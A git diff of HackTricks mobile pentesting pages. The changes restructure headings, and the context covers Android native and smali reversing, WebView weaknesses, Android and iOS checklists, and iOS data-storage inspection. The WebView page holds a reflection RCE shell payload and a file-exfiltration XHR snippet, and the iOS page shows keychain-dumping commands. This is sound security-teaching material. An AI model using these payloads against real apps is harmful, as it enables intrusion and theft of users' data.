intensive or time sensitive operations, such as graphics libraries. Malware developers have begun moving to native code because reverse engineering compiled binaries tends to be a less common skillset than analyzing DEX bytecode. This is largely due to DEX bytecode can be decompiled to Java whereas native, compiled code, often must be analyzed as assembly. -### Goal +## Goal The goal of this section is not to teach you assembly (ASM) or how to reverse engineer compiled code more generally, but instead how to apply the more general binary reverse engineering skills, specifically to Android. Because the goal of this workshop is not to teach you the ASM architectures, all exercises will include an ARM _and_ an x86 version of the library to be analyzed so that each person can choose the architecture that they are more comfortable with. -#### Learning ARM Assembly +### Learning ARM Assembly If you don’t have previous binary reverse engineering/ assembly experience, here are some suggested resources. Most Android devices run on ARM, but all exercises in this workshop also include an x86 version of the library. To learn and/or review ARM assembly, I highly suggest the [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) from [Azeria Labs](https://azeria-labs.com). -### Introduction to the Java Native Interface (JNI) +## Introduction to the Java Native Interface (JNI) The Java Native Interface (JNI) allows developers to declare Java methods that are implemented in native code (usually compiled C/C++). JNI interface is not Android-specific, but is available more generally to Java applications that run on different platforms. @@ -43,7 +41,7 @@ The Android Native Development Kit (NDK) is the Android-specific toolset on top Together, JNI and NDK allow Android developers to implement some of their app’s functionality in native code. The Java (or Kotlin) code will call a Java-declared native method which is implemented in the compiled, native library. -#### References +### References **Oracle JNI Docs** @@ -55,7 +53,7 @@ Together, JNI and NDK allow Android developers to implement some of their app’ * [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) <– Highly suggest reading the “Native Libraries” section to start * [Getting Started with the NDK](https://developer.android.com/ndk/guides/) <– This is guidance for how developers develop native libraries and understanding how things are built, makes it easier to reverse. -### Target of Analysis - Android Native Libraries +## Target of Analysis - Android Native Libraries For this section, we are focusing on how to reverse engineer app functionality that has been implemented in Android native libraries. When we say Android native libraries, what do we mean? @@ -73,7 +71,7 @@ Because native code is compiled for specific CPUs, if a developer wants their ap | ARMv7 | `lib/armeabi-v7a/libcalc.so` | | ARM64 | `lib/arm64-v8a/libcalc.so` | -### Loading the Library +## Loading the Library Before an Android app can call and execute any code that is implemented in a native library, the application (Java code) must load the library into memory. There are two different API calls that will do this: @@ -93,7 +91,7 @@ When either of these two (`loadLibrary` or `load`) APIs are called by the Java c To reiterate, before executing any native methods, the native library has to be loaded by calling `System.loadLibrary` or `System.load` in the Java code. When either of these 2 APIs is executed, the `JNI_OnLoad` function in the native library is also executed. -### The Java to Native Code Connection +## The Java to Native Code Connection In order to execute a function from the native library, there must be a Java-declared native method that the Java code can call. When this Java-declared native method is called, the “paired” native function from the native library (ELF/.so) is executed. @@ -110,7 +108,7 @@ There are 2 different ways to do this pairing, or linking: 1. Dynamic Linking using JNI Native Method Name Resolving, or 2. Static Linking using the `RegisterNatives` API call -#### Dynamic Linking +### Dynamic Linking In order to link, or pair, the Java declared native method and the function in the native library dynamically, the developer names the method and the function according to the specs such that the JNI system can dynamically do the linking. @@ -136,7 +134,7 @@ Java_com_android_interesting_Stuff_doThingsInNativeLibrary If there is not a function in the native library with that name, that means that the application must be doing static linking. -#### Static Linking +### Static Linking If the developer doesn’t want to or can not name the native functions according to the spec (Ex. wants to strip debug symbols), then they must use static linking with the `RegisterNatives` ([doc](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html#wp5833)) API in order to do the pairing between the Java-declared native method and the function in the native library. The `RegisterNatives` function is called from the native code, not the Java code and is most often called in the `JNI_OnLoad` function since `RegisterNatives` must be executed prior to calling the Java-declared native method. @@ -195,7 +193,7 @@ It has the type signature: (ILjava/lang/String;[I)J ``` -#### Exercise #5 - Find the Address of the Native Function +### Exercise #5 - Find the Address of the Native Function In Exercise #5 we’re going to learn to load native libraries in a disassembler and identify the native function that is executed when a native method is called. For this particular exercise, the goal is not to reverse engineer the native method, just to find the link between the call to the native method in Java and the function that is executed in the native library. For this exercise, we will be using the sample Mediacode.apk. This sample is available at `~/samples/Mediacode.apk` in the VM. Its SHA256 hash is a496b36cda66aaf24340941da8034bd53940d1b08d83a97f17a65ae144ebf91a. @@ -229,7 +227,7 @@ The goal of this exercise is to: **Solution** -### Reversing Android Native Libraries Code - JNIEnv +## Reversing Android Native Libraries Code - JNIEnv When beginning to reverse engineer Android native libraries, one of the things I didn’t know I needed to know, was about `JNIEnv`. `JNIEnv` is a struct of function pointers to [JNI Functions](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html). Every JNI function in Android native libraries, takes `JNIEnv*` as the first argument. @@ -275,7 +273,7 @@ Once this is loaded in Ghidra, you can then select any argument types in the dec ![Screenshot of JNI Function names after the argument was Re-Typed to JNIEnv\* ](https://maddiestone.github.io/AndroidAppRE/images/RetypedToJNIEnv.png) -#### Exercise #6 - Find and Reverse the Native Function +### Exercise #6 - Find and Reverse the Native Function We are going to point all of our previous skills together: identifying starting points for RE, reversing DEX, and reversing native code to analyze an application that may have moved its harmful behaviors in native code. The sample is `~/samples/HDWallpaper.apk`. diff --git a/mobile-apps-pentesting/android-app-pentesting/smali-changes.md b/mobile-apps-pentesting/android-app-pentesting/smali-changes.md index efcc5085..70016b92 100644 --- a/mobile-apps-pentesting/android-app-pentesting/smali-changes.md +++ b/mobile-apps-pentesting/android-app-pentesting/smali-changes.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Smali - Decompiling/\[Modifying]/Compiling - Sometimes it is interesting to modify the application code to access hidden information for you (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it. **Opcodes reference:** [http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik\_opcodes.html) -## Fast Way +# Fast Way Using **Visual Studio Code** and the [APKLab](https://github.com/APKLab/APKLab) extension, you can **automatically decompile**, modify, **recompile**, sign & install the application without executing any command. -## Decompile the APK +# Decompile the APK Using APKTool you can access to the **smali code and resources**: @@ -45,7 +43,7 @@ Some **interesting files you should look are**: If `apktool` has **problems decoding the application** take a look to [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) or try using the argument **`-r`** (Do not decode resources). Then, if the problem was in a resource and not in the source code, you won't have the problem (you won't also decompile the resources). -## Change smali code +# Change smali code You can **change** **instructions**, change the **value** of some variables or **add** new instructions. I change the Smali code using [**VS Code**](https://code.visualstudio.com), you then install the **smalise extension** and the editor will tell you if any **instruction is incorrect**.\ Some **examples** can be found here: @@ -55,7 +53,7 @@ Some **examples** can be found here: Or you can [**check below some Smali changes explained**](smali-changes.md#modifying-smali). -## Recompile the APK +# Recompile the APK After modifying the code you can **recompile** the code using: @@ -67,7 +65,7 @@ It will **compile** the new APK **inside** the _**dist**_ folder. If **apktool** throws an **error**, try[ installing the **latest version**](https://ibotpeaches.github.io/Apktool/install/) -### **Sing the new APK** +## **Sing the new APK** Then, you need to **generate a key** (you will be asked for a password and for some information that you can fill randomly): @@ -81,7 +79,7 @@ Finally, **sign** the new APK: jarsigner -keystore key.jks path/to/dist/* ``` -### Optimize new application +## Optimize new application **zipalign** is an archive alignment tool that provides important optimisation to Android application (APK) files. [More information here](https://developer.android.com/studio/command-line/zipalign). @@ -90,7 +88,7 @@ zipalign [-f] [-v] infile.apk outfile.apk zipalign -v 4 infile.apk ``` -### **Sign the new APK (again?)** +## **Sign the new APK (again?)** If you **prefer** to use \[**apksigner**]\(**[https://developer.android.com/studio/command-line/apksigner](https://developer.android.com/studio/command-line/apksigner)**)** instead of jarsigner, **you should sing the apk** after applying **the optimization with** zipaling**. BUT NOTICE THAT** YOU ONLY HAVE TO SIGN THE APPLCIATION ONCE** WITH jarsigner (before zipalign) OR WITH aspsigner(after zipaling). @@ -98,7 +96,7 @@ If you **prefer** to use \[**apksigner**]\(**[https://developer.android.com/stud apksigner sign --ks key.jks ./dist/mycompiled.apk ``` -## Modifying Smali +# Modifying Smali For the following Hello World Java code: @@ -122,9 +120,9 @@ The Smali code would be: The Smali instruction set is available [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions). -### Light Changes +## Light Changes -### Modify initial values of a variable inside a function +## Modify initial values of a variable inside a function Some variables are defined at the beginning of the function using the opcode _const_, you can modify its values, or you can define new ones: @@ -136,7 +134,7 @@ const/4 v8, 0x1 const-string v5, "wins" ``` -### Basic Operations +## Basic Operations ``` #Math @@ -161,9 +159,9 @@ if-ne v0, v9, :goto_6 #If not equals, go to: :goto_6 goto :goto_6 #Always go to: :goto_6 ``` -### Bigger Changes +## Bigger Changes -### Logging +## Logging ``` #Log win: @@ -182,7 +180,7 @@ Recommendations: * The new variables should be the next numbers of the already declared variables (in this example should be _v10_ and _v11_, remember that it starts in v0). * Change the code of the logging function and use _v10_ and _v11_ instead of _v5_ and _v1_. -### Toasting +## Toasting Remember to add 3 to the number of _.locals_ at the begging of the function. diff --git a/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index 57603aa7..4605865a 100644 --- a/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/mobile-apps-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Spoofing your location in Play Store - **Information copied from** [**https://manifestsecurity.com/android-application-security-part-23/**](https://manifestsecurity.com/android-application-security-part-23/) Many a times you have seen that application which you want to assess is only allowed in selected countries, so in that case you won’t be able to install that application on you android device. But if you can spoof your location to that country in which the application is allowed then you can get access to that application. Below is the procedure of the same. diff --git a/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md b/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md index 9368bc32..6e3875ce 100644 --- a/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md +++ b/mobile-apps-pentesting/android-app-pentesting/webview-attacks.md @@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Webview Attacks +# Interesting Configurations -## Interesting Configurations - -### File Access +## File Access _WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\ If the application has _**android.permission.READ\_EXTERNAL\_STORAGE** _ it will be able to read and load files **from the external storage**.\ The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file. -#### Universal Access From File URL (Deprecated) +### Universal Access From File URL (Deprecated) > Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting. > @@ -43,7 +41,7 @@ The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled. {% endhint %} -#### File Access From File URLs (Deprecated) +### File Access From File URLs (Deprecated) > Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting. > @@ -56,7 +54,7 @@ The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN * Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs. * Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it. -#### File Access +### File Access > Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res. @@ -66,18 +64,18 @@ The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https:/ * Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled. * Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it. -#### WebViewAssetLoader +### WebViewAssetLoader > Helper class to load local files including application's static assets and resources using http(s):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy. This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server. -### Javascript Enabled +## Javascript Enabled WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it. \ Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105). -### Javascript Bridge +## Javascript Bridge Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** (annotated with `@JavascriptInterface`) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_. @@ -85,7 +83,7 @@ Please note that **when you use `addJavascriptInterface`, you're explicitly gran > Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated). -#### Static Analysis +### Static Analysis ```javascript //Class with a method to access a secret @@ -122,7 +120,7 @@ If `addJavascriptInterface` is necessary, take the following considerations: * **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox). * If necessary for legacy reasons (e.g. having to support older devices), **at least set the minimal API level to 17** in the manifest file of the app (``). -### Javascript Bridge to RCE via Reflection +## Javascript Bridge to RCE via Reflection As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)(_check it for ideas in case you obtain RCE_) once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one: @@ -139,7 +137,7 @@ execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']); However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.\ In that scenario, you won't be able to abuse Reflection to execute arbitrary code. -### Remote Debugging +## Remote Debugging **Renote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**\ The **device** needs to be **accessible** by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access **chrome://inspect/#devices**: @@ -171,9 +169,9 @@ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { } ``` -## Payloads +# Payloads -### Exfiltrate arbitrary files +## Exfiltrate arbitrary files ```javascript var xhr = new XMLHttpRequest(); @@ -186,7 +184,7 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat xhr.send(null); ``` -## References +# References {% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %} diff --git a/mobile-apps-pentesting/android-checklist.md b/mobile-apps-pentesting/android-checklist.md index f944d51b..761939e0 100644 --- a/mobile-apps-pentesting/android-checklist.md +++ b/mobile-apps-pentesting/android-checklist.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Android APK Checklist - {% hint style="warning" %} **Support HackTricks and get benefits!** @@ -34,7 +32,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} -### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) +## [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals) * [ ] [Basics](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) @@ -50,7 +48,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] [How to use ADB](android-app-pentesting/#adb-android-debug-bridge) * [ ] [How to modify Smali](android-app-pentesting/#smali) -### [Static Analysis](android-app-pentesting/#static-analysis) +## [Static Analysis](android-app-pentesting/#static-analysis) * [ ] Check for the use of [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), checks for noting if the mobile was rooted, if an emulator is being used and anti-tampering checks. [Read this for more info](android-app-pentesting/#other-checks). * [ ] Sensitive applications (like bank apps) should check if the mobile is rooted and should actuate in consequence. @@ -69,7 +67,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] All the libraries compiled using the PIE flag? * [ ] Don't forget that there is a bunch of[ static Android Analyzers](android-app-pentesting/#automatic-analysis) that can help you a lot during this phase. -### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis) +## [Dynamic Analysis](android-app-pentesting/#dynamic-analysis) * [ ] Prepare the environment ([online](android-app-pentesting/#online-dynamic-analysis), [local VM or physical](android-app-pentesting/#local-dynamic-analysis)) * [ ] Is there any [unintended data leakage](android-app-pentesting/#unintended-data-leakage) (logging, copy/paste, crash logs)? @@ -84,7 +82,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Check for possible [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (probably some static code analysis will help here) * [ ] [Frida](android-app-pentesting/#frida): Just Frida, use it to obtain interesting dynamic data from the application (maybe some passwords...) -### Some obfuscation/Deobfuscation information +## Some obfuscation/Deobfuscation information * [ ] [Read here](android-app-pentesting/#obfuscating-deobfuscating-code) diff --git a/mobile-apps-pentesting/ios-pentesting-checklist.md b/mobile-apps-pentesting/ios-pentesting-checklist.md index b2864089..93a367af 100644 --- a/mobile-apps-pentesting/ios-pentesting-checklist.md +++ b/mobile-apps-pentesting/ios-pentesting-checklist.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS Pentesting Checklist - {% hint style="warning" %} **Support HackTricks and get benefits!** @@ -34,13 +32,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** {% endhint %} -### Preparation +## Preparation * [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md) * [ ] Prepare your environment reading [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md) * [ ] Read all the sections of [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) to learn common actions to pentest an iOS application -### Data Storage +## Data Storage * [ ] [**Plist files**](ios-pentesting/#plist) can be used to store sensitive information. * [ ] [**Core Data**](ios-pentesting/#core-data) (SQLite database) can store sensitive information. @@ -54,37 +52,37 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] [**Keychain**](ios-pentesting/#keychain) is usually used to store sensitive information that can be left when reselling the phone. * [ ] In summary, just **check for sensitive information saved by the application in the filesystem** -### Keyboards +## Keyboards * [ ] Does the application [**allow to use custom keyboards**](ios-pentesting/#custom-keyboards-keyboard-cache)? * [ ] Check if sensitive information is saved in the [**keyboards cache files**](ios-pentesting/#custom-keyboards-keyboard-cache) -### **Logs** +## **Logs** * [ ] Check if [**sensitive information is being logged**](ios-pentesting/#logs) -### Backups +## Backups * [ ] [**Backups**](ios-pentesting/#backups) can be used to **access the sensitive information** saved in the file system (check the initial point of this checklist) * [ ] Also, [**backups**](ios-pentesting/#backups) can be used to **modify some configurations of the application**, then **restore** the backup on the phone, and the as the **modified configuration** is **loaded** some (security) **functionality** may be **bypassed** -### **Applications Memory** +## **Applications Memory** * [ ] Check for sensitive information inside the [**application's memory**](ios-pentesting/#testing-memory-for-sensitive-data) -### **Broken Cryptography** +## **Broken Cryptography** * [ ] Check if yo can find [**passwords used for cryptography**](ios-pentesting/#broken-cryptography) * [ ] Check for the use of [**deprecated/weak algorithms**](ios-pentesting/#broken-cryptography) to send/store sensitive data * [ ] [**Hook and monitor cryptography functions**](ios-pentesting/#broken-cryptography) -### **Local Authentication** +## **Local Authentication** * [ ] If a [**local authentication**](ios-pentesting/#local-authentication) is used in the application, you should check how the authentication is working. * [ ] If it's using the [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) it could be easily bypassed * [ ] If it's using a [**function that can dynamically bypassed**](ios-pentesting/#local-authentication-using-keychain) you could create a custom frida script -### Sensitive Functionality Exposure Through IPC +## Sensitive Functionality Exposure Through IPC * [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) * [ ] Check if the application is **registering any protocol/scheme** @@ -111,13 +109,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [ ] Check if the webview can **access local files** with the protocol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) * [ ] Check if Javascript can access **Native** **methods** (`JSContext`, `postMessage`) -### Network Communication +## Network Communication * [ ] Perform a [**MitM to the communication**](ios-pentesting/#network-communication) and search for web vulnerabilities. * [ ] Check if the [**hostname of the certificate**](ios-pentesting/#hostname-check) is checked * [ ] Check/Bypass [**Certificate Pinning**](ios-pentesting/#certificate-pinning) -### **Misc** +## **Misc** * [ ] Check for [**automatic patching/updating**](ios-pentesting/#hot-patching-enforced-updateing) mechanisms * [ ] Check for [**malicious third party libraries**](ios-pentesting/#third-parties) diff --git a/mobile-apps-pentesting/ios-pentesting/README.md b/mobile-apps-pentesting/ios-pentesting/README.md index 73a11923..744ad8e1 100644 --- a/mobile-apps-pentesting/ios-pentesting/README.md +++ b/mobile-apps-pentesting/ios-pentesting/README.md @@ -16,15 +16,14 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## iOS Pentesting -### iOS Basics +# iOS Basics {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) {% endcontent-ref %} -### Testing Environment +# Testing Environment In this page you can find information about the **iOS simulator**, **emulators** and **jailbreaking:** @@ -32,9 +31,9 @@ In this page you can find information about the **iOS simulator**, **emulators** [ios-testing-environment.md](ios-testing-environment.md) {% endcontent-ref %} -### Initial Analysis +# Initial Analysis -#### Basic iOS Testing Operations +## Basic iOS Testing Operations During the testing **several operations are going to be suggested** (connect to the device, read/write/upload/download files, use some tools...). Therefore, if you don't know how to perform any of these actions please, **start reading the page**: @@ -47,7 +46,7 @@ For the following steps **the app should be installed** in the device and should Read the [Basic iOS Testing Operations](basic-ios-testing-operations.md) page to learn how to do this. {% endhint %} -#### Basic Static Analysis +## Basic Static Analysis It's recommended to use the tool [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) to perform an automatic Static Analysis to the IPA file. @@ -139,11 +138,11 @@ Identification of **protections are present in the binary**: grep -iER "_vsprintf" ``` -#### Basic Dynamic Analysis +## Basic Dynamic Analysis Check out the dynamic analysis that [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) perform. You will need to navigate through the different views and interact with them but it will be hooking several classes on doing other things and will prepare a report once you are done. -#### Listing Installed Apps +## Listing Installed Apps When targeting apps that are installed on the device, you'll first have to figure out the correct bundle identifier of the application you want to analyze. You can use `frida-ps -Uai` to get all apps (`-a`) currently installed (`-i`) on the connected USB device (`-U`): @@ -160,7 +159,7 @@ $ frida-ps -Uai - iGoat-Swift OWASP.iGoat-Swift ``` -#### Basic Enumeration & Hooking +## Basic Enumeration & Hooking Learn how to **enumerate the components of the application** and how to easily **hook methods and classes** with objection: @@ -168,7 +167,7 @@ Learn how to **enumerate the components of the application** and how to easily * [ios-hooking-with-objection.md](ios-hooking-with-objection.md) {% endcontent-ref %} -#### IPA Structure +## IPA Structure `.ipa` files are **zipped** **packages**, so you can change the extension to `.zip` and **decompress** them. A **complete** **packaged** app ready to be installed is commonly referred to as a **Bundle**.\ After decompressing them you should see `.app` , a zipped archive that contains the rest of the resources. @@ -290,7 +289,7 @@ Regular 420 None ... Sentinel.txt Regular 420 None ... README.txt ``` -#### Binary Reversing +## Binary Reversing Inside the `.app` folder you will find a binary file called ``. This is the file that will be **executed**. You can perform a basic inspection of the binary with the tool **`otool`**: @@ -380,7 +379,7 @@ struct CGSize { However, the best options to disassemble the binary are: [**Hopper**](https://www.hopperapp.com/download.html?) and [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/). -### Data Storage +# Data Storage To learn about how iOS stores data in the device read this page: @@ -393,7 +392,7 @@ The following places to store information should be checked **right after instal The goal is to find **unprotected sensitive information** of the application (passwords, tokens), of the current user and of previously logged users. {% endhint %} -#### Plist +## Plist **plist** files are structured XML files that **contains key-value pairs**. It's a way to store persistent data, so sometimes you may find **sensitive information in these files**. It's recommended to check these files after installing the app and after using intensively it to see if new data is written. @@ -430,7 +429,7 @@ The file might be formatted in **XML or binary (bplist)**. You can **convert it ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist ``` -#### Core Data +## Core Data [`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) is a framework for managing the model layer of objects in your application. [Core Data can use SQLite as its persistent store](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), but the framework itself is not a database.\ CoreData does not encrypt it's data by default. However, an additional encryption layer can be added to CoreData. See the [GitHub Repo](https://github.com/project-imas/encrypted-core-data) for more details. @@ -465,12 +464,12 @@ You can find the SQLite Core Data information of an application in the path `/pr ``` {% endcode %} -#### YapDatabase +## YapDatabase [YapDatabase](https://github.com/yapstudios/YapDatabase) is a key/value store built on top of SQLite.\ As the Yap databases are sqlite databases you can find them using the purposed commend in the previous section. -#### Other SQLite Databases +## Other SQLite Databases It's common for applications to create their own sqlite database. They may be **storing** **sensitive** **data** on them and leaving it unencrypted. Therefore, it's always interesting to check every database inside the applications directory. Therefore go to the application directory where the data is saved (`/private/var/mobile/Containers/Data/Application/{APPID}`) @@ -478,7 +477,7 @@ It's common for applications to create their own sqlite database. They may be ** find ./ -name "*.sqlite" -or -name "*.db" ``` -#### Firebase Real-Time Databases +## Firebase Real-Time Databases It can be leveraged by application developers to s**tore and sync data with a NoSQL cloud-hosted database**. The data is stored as JSON and is synchronized in real-time to every connected client and also remains available even when the application goes offline. @@ -488,7 +487,7 @@ You can find how to check for misconfigured Firebase databases here: [firebase-database.md](../../pentesting/pentesting-web/buckets/firebase-database.md) {% endcontent-ref %} -#### Realm databases +## Realm databases [Realm Objective-C](https://realm.io/docs/objc/latest/) and [Realm Swift](https://realm.io/docs/swift/latest/) aren't supplied by Apple, but they are still worth noting. They **store everything unencrypted, unless the configuration has encryption enabled**. @@ -517,13 +516,13 @@ do { } ``` -#### Couchbase Lite Databases +## Couchbase Lite Databases [Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) is a lightweight, embedded, document-oriented (NoSQL) database engine that can be synced. It compiles natively for iOS and macOS. Check for possible couchbase databases in `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/` -#### Cookies +## Cookies iOS store the cookies of the apps in the **`Library/Cookies/cookies.binarycookies`** inside each apps folder. However, developers sometimes decide to save them in the **keychain** as the mentioned **cookie file can be accessed in backups**. @@ -546,7 +545,7 @@ To inspect the cookies file you can use [**this python script**](https://github. ] ``` -#### Cache +## Cache By default NSURLSession stores data, such as **HTTP requests and responses in the Cache.db** database. This database can contain **sensitive data**, if tokens, usernames or any other sensitive information has been cached. To find the cached information open the data directory of the app (`/var/mobile/Containers/Data/Application/`) and go to `/Library/Caches/`. The **WebKit cache is also being stored in the Cache.db** file. **Objection** can open and interact with the database with the command `sqlite connect Cache.db`, as it is a n**ormal SQLite database**. @@ -564,7 +563,7 @@ It is **recommended to disable Caching this data**, as it may contain sensitive `An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.` 3. Cache can be also disabled by setting the Cache Policy to [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). It will disable storing Cache in any fashion, either in memory or on disk. -#### Snapshots +## Snapshots Whenever you press the home button, iOS **takes a snapshot of the current screen** to be able to do the transition to the application on a much smoother way. However, if **sensitive** **data** is present in the current screen, it will be **saved** in the **image** (which **persists** **across** **reboots**). These are the snapshots that you can also access double tapping the home screen to switch between apps. @@ -610,7 +609,7 @@ Objective-C: This sets the background image to `overlayImage.png` whenever the application is backgrounded. It prevents sensitive data leaks because `overlayImage.png` will always override the current view. -#### Keychain +## Keychain Tools like [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) can be used to dump the keychain (the dive must be jailbroken).\ You can also use `ios keychain dump` from [**Objection**](https://github.com/sensepost/objection)**.** @@ -629,7 +628,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers You can use **Objection's** `ios nsurlcredentialstorage dump` to dump these secrets. -### Custom Keyboards/Keyboard Cache +# Custom Keyboards/Keyboard Cache From iOS 8.0 Apple allows to install custom extensions for iOS like custom keyboards.\ The installed keyboards can be managed via **Settings** > **General** > **Keyboard** > **Keyboards**\ @@ -675,7 +674,7 @@ UITextField *textField = [ [ UITextField alloc ] 